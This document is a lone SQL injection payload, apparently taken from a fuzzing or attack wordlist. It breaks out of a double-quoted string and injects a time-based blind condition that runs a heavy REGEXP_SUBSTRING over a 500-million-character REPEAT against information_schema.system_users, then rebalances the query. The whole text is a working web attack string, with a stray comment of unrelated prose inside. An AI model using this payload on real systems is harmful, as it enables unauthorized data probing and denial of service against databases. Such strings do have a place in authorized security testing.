1"  ( select  ( case when  ( 5451 = 5451 )  then regexp_substring ( repeat ( right ( char ( 5451 ) ,0 ) ,500000000 ) ,null )  else char ( 108 ) ||char ( 76 ) ||char ( 112 ) ||char ( 116 )  end/*It must be a long time ago that I have see*/ )  from information_schema.system_users )  and "kszu" = "kszu